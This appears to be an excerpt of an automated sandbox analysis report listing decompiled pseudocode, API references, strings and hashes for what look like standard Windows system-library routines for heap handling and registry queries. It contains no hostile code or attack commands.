					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E6A93AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E6A9DA80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E6A9DA80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x6aa08748 - 1;
					if( *0x6aa08748 >= 1) {
						_t131 = _t256 + 0x00000fff & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E6A91B150();
							__eflags =  *0x6aa07bc8;
							if(__eflags == 0) {
								_t131 = E6A9D2073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x6a93a83a
0x6a93a83c
0x6a93a83e
0x6a93a841
0x6a93a844
0x6a93a84a
0x6a93aa53
0x6a93aa59
0x6a93aa59
0x6a93a858
0x6a93a85e
0x6a93aaf5
0x6a93aafc
0x6a98229e
0x6a9822a2
0x6a9822a8
0x6a9822b3
0x6a9822b5
0x6a9822bb
0x6a9822c1
0x6a9822c5
0x6a9822e6
0x6a9822eb
0x6a9822f0
0x6a9822c7
0x6a9822dc
0x6a9822e1
0x6a9822e1
0x6a9822f3
0x6a9822f8
0x6a9822fd
0x6a982300
0x6a982307
0x6a98230e
0x6a98230e
0x6a982313
0x6a982313
0x6a9822b5
0x6a9822a2
0x6a93aafc
0x6a93a864
0x6a93a869
0x6a93aa5c
0x6a93aa5e
0x6a93a86f
0x6a93a87f
0x6a93a885
0x6a93a885
0x6a93a88b
0x6a93a890
0x6a93a896
0x6a93ab0c
0x6a93ab0f
0x6a93ab15
0x6a982320
0x6a982320
0x6a93ab1b
0x6a93a89c
0x6a93a89f
0x6a93a8a2
0x6a93a8a2
0x6a93a8a5
0x6a93a8af
0x6a93a8b3
0x6a93a8b8
0x6a93aa66
0x6a93a8be
0x6a93a8c5
0x6a93a8c6
0x6a93a8ce
0x6a982328
0x6a982332
0x6a982337
0x6a982337
0x6a93a8ce
0x6a93a8d4
0x6a93a8d8
0x6a93a8db
0x6a93a8de
0x6a93a8e1
0x6a93a8e5
0x6a93a8e8
0x6a93a8f0
0x6a93a8f3
0x6a98234c
0x6a982350
0x6a982355
0x6a982359
0x6a982359
0x6a93a8f9
0x6a93a901
0x6a93aae4
0x6a93aae4
0x6a93aaea
0x00000000
0x6a93a907
0x6a93a90a
0x6a93a91d
0x6a93a91d
0x00000000
0x6a93a910
0x6a93a910
0x6a93a910
0x6a93a914
0x6a93a924
0x6a93a924
0x6a93a924
0x6a93a924
0x6a93a916
0x6a93a91b
0x00000000
0x00000000
0x00000000
0x6a93a91b
0x6a93a925
0x6a93a925
0x6a93a932
0x6a93a936
0x6a93a93c
0x6a93a93c
0x6a93a93c
0x6a93ab22
0x6a93ab24
0x6a93ab27
0x6a93ab27
0x6a93a942
0x6a93a944
0x6a93aaba
0x6a93aabd
0x6a93aac0
0x6a93aac0
0x6a93aac2
0x6a93ab2f
0x6a93aac4
0x6a93aac4
0x6a93aac7
0x6a93aaca
0x6a93aacc
0x6a93aace
0x6a93aace
0x6a93aace
0x6a93aad1
0x6a93aad1
0x6a93aad7
0x6a93aad9
0x00000000
0x00000000
0x6a982361
0x6a982369
0x6a98236b
0x00000000
0x6a982371
0x00000000
0x6a982371
0x00000000
0x6a98236b
0x6a93aac0
0x6a93a94a
0x6a93a94a
0x6a93a94d
0x6a93a94d
0x6a93a950
0x6a93a954
0x6a982376
0x6a982380
0x6a93a95a
0x6a93a95a
0x6a93a95c
0x6a93a95f
0x6a93a961
0x6a93a961
0x6a93a967
0x6a93a96a
0x6a93a972
0x6a93aa02
0x6a93aa06
0x6a93aa10
0x6a93aa16
0x6a93aa16
0x6a93aa1b
0x6a93aa21
0x6a93aa24
0x6a93aa27
0x6a93aa29
0x6a93aa2c
0x6a93aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93a978
0x6a93a978
0x6a93a97b
0x6a93a981
0x6a93a996
0x6a93a998
0x6a93a99f
0x6a93a9a2
0x6a98238a
0x6a93a9a8
0x6a93a9a8
0x6a93a9a8
0x6a93a9aa
0x6a93a9ad
0x6a93a9b0
0x6a93a9bb
0x6a93a9be
0x6a93a9c7
0x6a93a9c9
0x6a93a9c9
0x6a93a9cc
0x6a93a9d1
0x6a93aa6d
0x6a93aa70
0x6a93aa73
0x6a93aa75
0x6a93aa79
0x6a93aa7e
0x6a93aa82
0x6a93aa8f
0x6a93aa94
0x6a93aa96
0x6a982392
0x6a9823a1
0x6a9823a1
0x6a93aa9c
0x6a93aa9f
0x6a93aaa2
0x6a93aaa2
0x6a93aaa8
0x6a93aaab
0x6a93aaaf
0x00000000
0x6a93aab5
0x00000000
0x6a93aab5
0x6a93a9d7
0x6a93a9d7
0x6a93a9da
0x6a93a9e0
0x6a93a9e3
0x6a93a9e6
0x6a93a9e9
0x6a93a9eb
0x6a93a9fd
0x6a93a9fd
0x00000000
0x6a93a9eb
0x00000000
0x00000000
0x00000000
0x6a93a983
0x6a93a983
0x6a93a983
0x6a93a987
0x6a93a995
0x6a93a995
0x6a93a995
0x6a93a995
0x6a93a989
0x6a93a98e
0x00000000
0x6a93a990
0x00000000
0x6a93a990
0x6a93a98e
0x00000000
0x6a93a983
0x6a93a972
0x6a93a90a
0x6a93aa34
0x6a93aa34
0x6a93aa40
0x6a93aa43
0x6a93aa46
0x6a93aa4d
0x6a9823ab
0x6a9823b2
0x6a9823be
0x6a9823c3
0x6a9823c5
0x6a9823cb
0x6a9823d1
0x6a9823d5
0x6a9823f6
0x6a9823fb
0x6a9823d7
0x6a9823ec
0x6a9823f1
0x6a982403
0x6a982408
0x6a982410
0x6a982417
0x6a982422
0x6a982422
0x6a982417
0x6a9823c5
0x6a9823b2
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6A93A3D0,?,?,-00000018), ref: 6A9822DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6A93A3D0,?,?,-00000018,?), ref: 6A9822F8

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6A9822F3
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6A982403
HEAP: , xrefs: 6A9822E6, 6A9823F6
HEAP[%wZ]: , xrefs: 6A9822D7, 6A9823E7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: 13561b94e766b80eeae95353bc491cd8738967609e996eebc90ba6c1c095f5cd
Instruction ID: c540bb0ee439decfaa74a5a4c4dedaf48c77664d5173feb9ba16412e2c62a08e
Opcode Fuzzy Hash: 13561b94e766b80eeae95353bc491cd8738967609e996eebc90ba6c1c095f5cd
Instruction Fuzzy Hash: C0D103706046559FDB18CF68C490B6AB7F6FF49304F228569D8A6DBB42EB32E841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A950F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A950F48(signed short* __ecx, long* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed short _v36;
				signed int _v40;
				long* _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				intOrPtr _v60;
				void* _v64;
				void* _t60;
				void* _t66;
				void* _t69;
				void* _t72;
				intOrPtr _t87;
				char _t93;
				signed int* _t95;
				intOrPtr _t97;
				signed int _t101;
				intOrPtr _t104;
				signed int _t107;
				signed short _t109;
				char _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr _t116;
				void* _t117;
				signed int _t118;
				void* _t120;

				_t120 = (_t118 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_t87 = _a4;
				 *_a8 = 0;
				_t107 =  *__ecx & 0x0000ffff;
				_v52 = 0;
				_v56 = 0;
				_v57 = 0;
				_t101 = _t107;
				_t114 = __ecx[2] + _t101;
				_v40 = __ecx;
				if(_t87 != 0) {
					if(_t101 + 2 > (__ecx[1] & 0x0000ffff)) {
						L28:
						_t60 = 0xc000000d;
						goto L16;
					}
					_t93 = 0;
					if( *_t114 == 0) {
						goto L2;
					}
					goto L28;
				} else {
					_t93 = 0;
					L2:
					if(_t101 == 0) {
						L7:
						_t109 = _t107 - _t101;
						_v32 = _t114;
						_v36 = _t109;
						if((_t109 & 0x0000ffff) != _t109) {
							_t60 = 0xc0000023;
							L16:
							return _t60;
						}
						if(_t87 != 0) {
							_t116 = _v48;
							_v58 = 1;
							_t60 = E6A9510D7( &_v52, _t116, _t87);
						} else {
							_v58 = _t93;
							_t60 = E6A95108B( &_v52);
							_t116 = _v48;
						}
						if(_t60 < 0) {
							goto L16;
						} else {
							_t110 = _v52;
							_v20 =  &_v36;
							_v28 = 0x18;
							_v24 = _t110;
							_v16 = 0x240;
							_v12 = 0;
							_v8 = 0;
							if(_t87 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6A9596D0();
							} else {
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6A959600();
							}
							_t117 = _t66;
							if(_v58 != 0) {
								_push(_t110);
								E6A9595D0();
							}
							if(_t117 >= 0) {
								_t95 =  &_v52;
								_v52 = _v56;
								_t69 = E6A918239(_t95, _v48, _v40);
								_t111 = _v56;
								_t117 = _t69;
								if(_t117 < 0) {
									L24:
									if(_t111 != 0) {
										_push(_t111);
										E6A9595D0();
									}
									goto L15;
								}
								_t104 = _v56;
								if(_v57 != 0 && _t111 == _t104 && _t87 != 0) {
									_push(_t95);
									_v52 = 0;
									_t72 = E6A9A8372( &_v52, _t104, _v48);
									_t111 = _v60;
									_t117 = _t72;
									if(_t117 >= 0) {
										_t117 = E6A926D30( &_v52, L"FilterFullPath");
										if(_t117 >= 0) {
											_t97 =  *((intOrPtr*)(_t120 + 0x24));
											_push( *(_t97 + 2) & 0x0000ffff);
											_push( *((intOrPtr*)(_t97 + 4)));
											_push(1);
											_push(0);
											_push( &_v52);
											_push(_t111);
											_t117 = E6A959B00();
											if(_t117 >= 0) {
												 *((intOrPtr*)(_t120 + 0x28)) = 1;
												_t117 = E6A926D30( &_v52, L"UseFilter");
												if(_t117 >= 0) {
													_push(4);
													_push(_t120 + 0x28);
													_push(4);
													_push(0);
													_push( &_v52);
													_push(_v60);
													_t117 = E6A959B00();
												}
											}
										}
									}
									_push(_v60);
									E6A9595D0();
								}
								if(_t117 < 0) {
									goto L24;
								} else {
									 *_a8 = _t111;
									goto L15;
								}
							} else {
								L15:
								_t60 = _t117;
								goto L16;
							}
						}
					}
					L3:
					L3:
					if( *((short*)(_t114 - 2)) == 0x5c) {
						_v57 = 1;
					} else {
						goto L4;
					}
					goto L7;
					L4:
					_t114 = _t114 + 0xfffffffe;
					_t101 = _t101;
					if(_t101 != 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
			}

0x6a950f50
0x6a950f55
0x6a950f5f
0x6a950f63
0x6a950f69
0x6a950f6c
0x6a950f70
0x6a950f74
0x6a950f78
0x6a950f7a
0x6a950f7c
0x6a950f82
0x6a98cc82
0x6a98cc8f
0x6a98cc8f
0x00000000
0x6a98cc8f
0x6a98cc84
0x6a98cc89
0x00000000
0x00000000
0x00000000
0x6a950f88
0x6a950f88
0x6a950f8a
0x6a950f8c
0x6a950fa5
0x6a950fa5
0x6a950fa7
0x6a950fae
0x6a950fb5
0x6a98cc99
0x6a951029
0x6a95102f
0x6a95102f
0x6a950fbd
0x6a98cca3
0x6a98ccae
0x6a98ccb3
0x6a950fc3
0x6a950fc3
0x6a950fcb
0x6a950fd0
0x6a950fd0
0x6a950fd6
0x00000000
0x6a950fd8
0x6a950fd8
0x6a950fe0
0x6a950fe6
0x6a950fee
0x6a950ff2
0x6a950ffa
0x6a950ffe
0x6a951004
0x6a98ccbd
0x6a98ccbe
0x6a98ccbf
0x6a98ccc0
0x6a98ccc5
0x6a98ccc6
0x6a98cccb
0x6a98cccc
0x6a95100a
0x6a95100e
0x6a95100f
0x6a951014
0x6a951015
0x6a951015
0x6a95101f
0x6a951021
0x6a951077
0x6a951078
0x6a951078
0x6a951025
0x6a951036
0x6a951042
0x6a951046
0x6a95104b
0x6a95104f
0x6a951053
0x6a95107f
0x6a951081
0x6a951083
0x6a951084
0x6a951084
0x00000000
0x6a951081
0x6a95105a
0x6a95105e
0x6a98ccd6
0x6a98cce1
0x6a98cce5
0x6a98ccea
0x6a98ccee
0x6a98ccf2
0x6a98cd03
0x6a98cd07
0x6a98cd09
0x6a98cd11
0x6a98cd12
0x6a98cd19
0x6a98cd1b
0x6a98cd1c
0x6a98cd1d
0x6a98cd23
0x6a98cd27
0x6a98cd32
0x6a98cd40
0x6a98cd44
0x6a98cd46
0x6a98cd4c
0x6a98cd4d
0x6a98cd4f
0x6a98cd54
0x6a98cd55
0x6a98cd5e
0x6a98cd5e
0x6a98cd44
0x6a98cd27
0x6a98cd07
0x6a98cd60
0x6a98cd64
0x6a98cd64
0x6a95106e
0x00000000
0x6a951070
0x6a951073
0x00000000
0x6a951073
0x6a951027
0x6a951027
0x6a951027
0x00000000
0x6a951027
0x6a951025
0x6a950fd6
0x00000000
0x6a950f8e
0x6a950f93
0x6a950fa0
0x00000000
0x00000000
0x00000000
0x00000000
0x6a950f95
0x6a950f95
0x6a950f99
0x6a950f9c
0x00000000
0x6a950f9e
0x00000000
0x6a950f9e
0x6a950f9c

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6A951015
ZwClose.1105(?,?,?,00000018), ref: 6A951078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6A951084

Strings

UseFilter, xrefs: 6A98CD29
FilterFullPath, xrefs: 6A98CCF4

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 141111b4c100f8ca9f3dc78e9dd7d679ef719ea33b7586e32ad7878ce1ef130e
Instruction ID: bc86553381140e4ac2205170f53000352f38ed9f9b039803eaf80925161f5947
Opcode Fuzzy Hash: 141111b4c100f8ca9f3dc78e9dd7d679ef719ea33b7586e32ad7878ce1ef130e
Instruction Fuzzy Hash: 706102B15483519FD310DF24C441A6BBBE8BFDA718F264A1EF89497210EF34D919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C64FB, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 125
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6A9C64FB(intOrPtr* __ecx) {
				signed int _v8;
				char _v32;
				short _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char* _v52;
				short _v54;
				void* _v56;
				char* _v60;
				char _v64;
				char* _v68;
				short _v70;
				char _v72;
				char* _v76;
				short _v78;
				void* _v80;
				char* _v84;
				short _v86;
				void* _v88;
				char* _v92;
				short _v94;
				void* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				char _v120;
				char _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t48;
				short _t49;
				void* _t50;
				short _t51;
				void* _t55;
				void* _t62;
				void* _t77;
				short _t81;
				short _t82;
				intOrPtr* _t83;
				signed int _t85;

				_v8 =  *0x6aa0d360 ^ _t85;
				_t48 = 0x16;
				_t82 = 0x18;
				_t83 = __ecx;
				_v72 = _t48;
				_t77 = 0x10;
				_t49 = 0x12;
				_v86 = _t49;
				_v94 = _t49;
				_t50 = 0xa;
				_v80 = _t50;
				_t51 = 0xc;
				_v78 = _t51;
				_v112 =  &_v64;
				_push( &_v120);
				_v88 = _t77;
				_v96 = _t77;
				_push(1);
				_push( &_v48);
				_v64 = 0x840082;
				_v60 = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\ProductOptions";
				_v70 = _t82;
				_v68 = L"ProductType";
				_v84 = L"LanmanNt";
				_v92 = L"ServerNt";
				_v76 = L"WinNt";
				_v48 = 0;
				_v120 = _t82;
				_v116 = 0;
				_v108 = 0x240;
				_v104 = 0;
				_v100 = 0;
				_t55 = E6A959600();
				_t84 = _t55;
				if(_t55 >= 0) {
					_push( &_v124);
					_push(0x24);
					_push( &_v44);
					_push(2);
					_push( &_v72);
					_push(_v48);
					_t62 = E6A959650();
					_t84 = _t62;
					if(_t62 >= 0) {
						if(_v40 != 1) {
							L10:
							_t84 = 0xc000090b;
						} else {
							_t81 = _v36;
							if(_t81 < 2) {
								goto L10;
							} else {
								_v54 = _t81;
								_v52 =  &_v32;
								_t35 = _t81 - 2; // 0x6a986635
								_v56 = _t35;
								if(RtlEqualUnicodeString( &_v56,  &_v80, 1) == 0) {
									if(RtlEqualUnicodeString( &_v56,  &_v88, 1) == 0) {
										if(RtlEqualUnicodeString( &_v56,  &_v96, 1) == 0) {
											goto L10;
										} else {
											 *_t83 = 3;
										}
									} else {
										 *_t83 = 2;
									}
								} else {
									 *_t83 = 1;
								}
							}
						}
					}
				}
				if(_v48 != 0) {
					_push(_v48);
					E6A9595D0();
				}
				return E6A95B640(_t84, 1, _v8 ^ _t85, _t82, _t83, _t84);
			}

0x6a9c650a
0x6a9c6512
0x6a9c6515
0x6a9c6518
0x6a9c651a
0x6a9c651e
0x6a9c6521
0x6a9c6524
0x6a9c652a
0x6a9c652f
0x6a9c6532
0x6a9c6536
0x6a9c6537
0x6a9c653e
0x6a9c6544
0x6a9c6545
0x6a9c654c
0x6a9c6552
0x6a9c6553
0x6a9c6554
0x6a9c655b
0x6a9c6562
0x6a9c6566
0x6a9c656d
0x6a9c6574
0x6a9c657b
0x6a9c6582
0x6a9c6585
0x6a9c6588
0x6a9c658b
0x6a9c6592
0x6a9c6595
0x6a9c6598
0x6a9c659d
0x6a9c65a1
0x6a9c65aa
0x6a9c65ab
0x6a9c65b0
0x6a9c65b1
0x6a9c65b6
0x6a9c65b7
0x6a9c65ba
0x6a9c65bf
0x6a9c65c3
0x6a9c65c8
0x6a9c662d
0x6a9c662d
0x6a9c65ca
0x6a9c65ca
0x6a9c65d0
0x00000000
0x6a9c65d2
0x6a9c65d5
0x6a9c65d9
0x6a9c65dc
0x6a9c65df
0x6a9c65f3
0x6a9c6609
0x6a9c6623
0x00000000
0x6a9c6625
0x6a9c6625
0x6a9c6625
0x6a9c660b
0x6a9c660b
0x6a9c660b
0x6a9c65f5
0x6a9c65f5
0x6a9c65f5
0x6a9c65f3
0x6a9c65d0
0x6a9c65c8
0x6a9c65c3
0x6a9c6636
0x6a9c6638
0x6a9c663b
0x6a9c663b
0x6a9c6652

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6A9C6598

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6A9C65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6A9C65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6A9C6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6A9C663B

Strings

ProductType, xrefs: 6A9C6566
ServerNt, xrefs: 6A9C6574
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6A9C655B
WinNt, xrefs: 6A9C657B
LanmanNt, xrefs: 6A9C656D

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-2051245877
Opcode ID: bf0789e1fcf6b483b08e77da1baa2183484072392d8b6da6ff5d3f0a3b8d958e
Instruction ID: 270397c51ac9be218d4b89bc3350af9b30863c2e7441576f504e16eecd3b768d
Opcode Fuzzy Hash: bf0789e1fcf6b483b08e77da1baa2183484072392d8b6da6ff5d3f0a3b8d958e
Instruction Fuzzy Hash: 24415FB2D0520CAEDF10CFE4D945AEEB7BCEF08304F20502AE615BB241EB759905CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6A9EF019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6A9EF019(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _t39;
				intOrPtr _t55;
				long _t56;
				intOrPtr* _t63;
				intOrPtr _t64;
				void* _t65;

				_v12 = _v12 & 0x00000000;
				_t55 = __edx;
				_t64 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				RtlInitUnicodeString( &_v40, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\CommonGlobUserSettings\\");
				_t63 = _a8;
				_t56 = E6A9EF13B(_t64, _t55,  &_v40, _t63,  &_v12);
				if(_t56 >= 0 && _v12 == 2) {
					_t56 = 0;
					_v16 = 0;
					_v8 = 0;
					RtlInitUnicodeString( &_v32, L"RedirectedKey");
					_t39 =  *0x6a8f6cc8( *_t63,  &_v32, 2, 0, 0,  &_v8);
					if(_v8 > 0 && (_t39 == 0xc0000023 || _t39 == 0x80000005)) {
						_t65 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v8);
						if(_t65 != 0) {
							_push( &_v8);
							_push(_v8);
							_push(_t65);
							_push(2);
							_push( &_v32);
							_push( *_t63);
							if( *0x6a8f6cc8() >= 0 &&  *((intOrPtr*)(_t65 + 4)) == 1) {
								_t22 = _t65 + 0xc; // 0xc
								RtlInitUnicodeString( &_v48, _t22);
								if(E6A9EF13B(_v24, _v20,  &_v48,  &_v16,  &_v12) >= 0) {
									 *0x6a8f6cc4( *_t63);
									 *_t63 = _v16;
								}
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t65);
						}
					}
				}
				return _t56;
			}

0x6a9ef021
0x6a9ef030
0x6a9ef032
0x6a9ef035
0x6a9ef038
0x6a9ef03b
0x6a9ef041
0x6a9ef056
